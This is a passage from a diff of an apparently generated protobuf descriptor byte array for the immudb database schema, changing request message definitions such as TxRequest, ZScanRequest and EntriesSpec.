0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, + 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, + 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x70, 0x65, + 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, 0x36, 0x0a, + 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, + 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, + 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x74, 0x78, + 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, + 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, 0x0a, 0x10, + 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, + 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, + 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, + 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x06, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, + 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, + 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, + 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, + 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, + 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, + 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, + 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x1c, + 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, + 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, + 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x14, + 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, + 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, 0x6e, 0x53, + 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, + 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x61, + 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, + 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, + 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x16, + 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, + 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, + 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, + 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, 0x0a, 0x07, + 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, - 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, - 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, - 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, - 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, 0x05, - 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, - 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, - 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, - 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, - 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, 0x6e, - 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, - 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, 0x6d, - 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, - 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, 0x0a, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, + 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, + 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, - 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x6f, - 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, - 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, - 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, 0x0a, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, - 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, - 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, - 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, - 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, - 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, 0x0a, - 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, 0x0d, - 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, - 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, - 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 